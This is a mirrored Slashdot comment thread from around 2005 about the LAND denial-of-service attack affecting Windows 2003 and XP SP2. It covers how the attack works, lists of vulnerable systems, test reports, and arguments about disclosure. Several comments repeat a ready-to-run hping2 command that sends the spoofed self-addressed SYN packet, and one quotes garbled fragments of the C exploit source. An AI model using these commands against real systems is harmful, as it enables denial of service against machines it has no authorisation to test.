Slashdot Mirror
Windows 2003 and XP SP2 Vulnerable To LAND Attack
An anonymous reader writes "Dejan Levaja, a Serbian security engineer has discovered that nearly 8 years after the attack was first made public, WIndows 2003 and Windows XP SP2 are in fact vulnerable to the historic LAND attack." Granted, you need to have the firewall turned off for this work, but there's a whole lotta machines that don't have it turned on.
There is a big list before the provided source code.
So it's a way to either remotely lock up or reboot a target machine. I would assume (not having, you know, tried it or anything) that this includes most windows-based webservers.
The LAND attack requires an open port, so by definition if the system isn't running any services it will have no open ports and not be vulnerable to this attack.
WTF is a LAND attack? From the source:
"LAND attack:
Sending TCP packet with SYN flag set, source and destination IP address and source and destination port as of destination machine, results in 15-30 seconds DoS condition."
If I understand correctly, this means the vulnerable machine will attempt to synchronise a connection with itself?
I find this quote enlightening:
"Ethic:
Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO answer received, so I decided to share this info with security community. "
So the vulnerability was made public. So exploits are going to be made. However, if Microsoft, who claim to have shifted more focus to security issues, had even acknowledged this report, the vulnerability wouldn't have become public so soon without a patch.
Kinda worries you about the way computer security is handled, doesn't it?
Misleading titles? Inflammatory blurbs? Keep in mind that Slashdot is a tabloid.
Grab a copy of hping2 and try:
hping2 aaa.bbb.ccc.ddd -s 135 -p 135 -S -a aaa.bbb.ccc.ddd
Obviously, replace aaa.bbb.ccc.ddd w/ the ip address of the workstation you'd like to test
Yep, I never spell check.
More incorrect spellings can be found he
BSDI 2.1 (vanilla) IS vulnerable
BSDI 2.1 (K210-021,K210-022,K210-024) NOT vulnerable
BSDI 3.0 NOT vulnerable
Digital UNIX 4.0 NOT vulnerable
FreeBSD 2.2.2-RELEASE IS vulnerable
FreeBSD 2.2.5-RELEASE IS vulnerable
FreeBSD 2.2.5-STABLE IS vulnerable
FreeBSD 3.0-CURRENT IS vulnerable
HP-UX 10.20 IS vulnerable
IRIX 6.2 NOT vulnerable
Linux 2.0.30 NOT vulnerable
Linux 2.0.32 NOT vulnerable
MacOS 8.0 IS vulnerable (TCP/IP stack crashed)
NetBSD 1.2 IS vulnerable
NeXTSTEP 3.0 IS vulnerable
NeXTSTEp 3.1 IS vulnerable
Novell 4.11 NOT vulnerable
OpenBSD 2.1 IS vulnerable
OpenBSD 2.2 (Oct31) NOT vulnerable
SCO OpenServer 5.0.4 NOT vulnerable
Solaris 2.5.1 IS vulnerable (conflicting reports)
SunOS 4.1.4 IS vulnerable
Windows 95 (vanilla) IS vulnerable
Windows 95 + Winsock 2 + VIPUPD.EXE IS vulnerable
Trolling using another account since 2005.
Security through obsecurity doesn't work. Here's the important part of the source :) Basically it just sends a SYN packet which has the target's address as the source and the destination (same port as well).
z eof(struct iphdr)/4;t tl=255;d dr=sin.sin_addr.s_addr;a ddr.s_addr;
h _dport=sin.sin_port;1 C);f f=sizeof(struct tcphdr)/4;
. s_addr;_ addr;g th=htons(sizeof(struct tcphdr));
---snip---
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=si
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->
ipheader->protocol=IP_TCP;
ipheader->sa
ipheader->daddr=sin.sin_
tcpheader->th_sport=sin.sin_port;
tcpheader->t
tcpheader->th_seq=htonl(0xF
tcpheader->th_flags=TH_SYN;
tcpheader->th_o
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr
pseudoheader.daddr.s_addr=sin.sin_addr.s
pseudoheader.protocol=6;
pseudoheader.len
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
---snip---
http://support.microsoft.com/default.aspx?scid=kb; en-us;165005
In Soviet Russia, Trojan exploits YOU!
StrayByte.Net
On my XP box w/ SP2 + no firewall:
for up to 30 seconds after the attack , I can move the mouse, but cannot click on anything.
All network activity stops during that time also.
Yep, I never spell check.
More incorrect spellings can be found he
The problem might be w/ your code.
A test listed in an above comment of mine worked for my box. DL hping2 and try:
hping2 aaa.bbb.ccc.ddd -s 135 -p 135 -S -a aaa.bbb.ccc.ddd
Obviously, replace aaa.bbb.ccc.ddd w/ the ip address of the workstation you'd like to test
Yep, I never spell check.
More incorrect spellings can be found he
Yeah, that's the Simple File Sharing "feature" of XP Home Edition. Enabled by default, it can be annoying if you're used to doing things the "old way" (user friendly, but expert hostile). Just use this KB article to turn it off.
Entrepreneur : (noun), French for "unemployed"
Unfortuntately the b0rked Slashdot lameness filter won't allow code to be posted even when 'post as code' is selected :?
LRC, the best-read libertarian site on the web
Granted, you need to have the firewall turned off for this work, but there's a whole lotta machines that don't have it turned on.
OK, so what you're saying is that in order for XP to be vulnerable, it must be directly connected to the Internet, the user must specifically have disabled the firewall, and no intermediate firewall must be present.
At what point do we cease blaming Microsoft for stupid user tricks? I mean, Microsoft has freely given SP2 to anyone who wants it. Pretty soon it will be a mandatory download from WindowsUpdate. People bitched and moaned for years that Microsoft didn't do enough for security and didn't default to having updates apply automatically. But when Microsoft finally does improve security (with a better firewall) and tries to turn it all on by default, everyone griped. Damned if you do...
Look, if a Windows zealot took something like Fedora, turned on a bunch of services, turned off the firewall, and then griped because his box got hacked, Slashdotters everywhere would be screaming that this guy was a fool, that Linux security is great when it's not sabotaged by an idiot at the keyboard. And they'd be right. But when an attack requires that a Windows user actively subvert the very security measures Microsoft's put in place to protect him, everybody blames Microsoft. Nope, no bias to see here, citizens, please move along.
In the end they will lay their freedom at our feet and say to us, Make us your slaves, but feed us. - Fyodor Dostoyevsky
I hit a Windows XP SP1 box with this to no effect. I had to make some changes to even compile it (http://mixter.void.ru/glibc.txt). But the test box didn't blink.
perl -e 'foreach(values %SIG){$_="IGNORE";}while(){}'
Sorry, I am the same anonymous coward replying to myself. It does affect at least SP2, as someone mentioned above icons can not be clicked during 30 seconds, similarly ping stops to work during that time period. Afterwards it goes back to normal, so it doesn't crash it but it does affects it somehow.
I found some interesting things while playing around with this.
1st: The checksum code is always off by 3 in that file. Subtract 3 from the value before you take the complement and it'll be right. (this is a kludge, I haven't taken the time to actually figure out why it's wrong yet)
2nd: It causes 100% CPU usage on a WinXP SP2 box for about 3 seconds for each packet sent!!!
3rd: It can be blocked (and probably IS blocked) by most routers since the source and destination addresses are the same.
I got permission to send one of these packets to my friends Win2003 box and as far as we can tell, it didn't do anything. I don't know if the packet is getting through though.
4th: Also, I retested the Mac, and again, the malformed packet did nothing.
Don't count your messages before they ACK.
You're a dork.
If you can't think of 100 good reasons why a security professional or curious sysadmin would want a copy of this code, which, I'll note, has been around in this form for almost 8 years (to the point where it won't even COMPILE on a modern system), then you should put your computer back in its box and ring UPS to get it shipped back to the manufacturer, because you are too stupid to own it.
To elaborate, because you're obviously not so quick on the uptake; 'there is nothing inherently wrong with possessing a tool.' To elaborate further, this snippet of code can be used to verify that any vendor-supplied patch does, in fact, do what it says, amongst other things.
Think before spouting your mouth off. Your post espouses all of the bad ideas behind laws such as the DMCA. With people like you doing the thinking, is it little wonder that such laws get passed?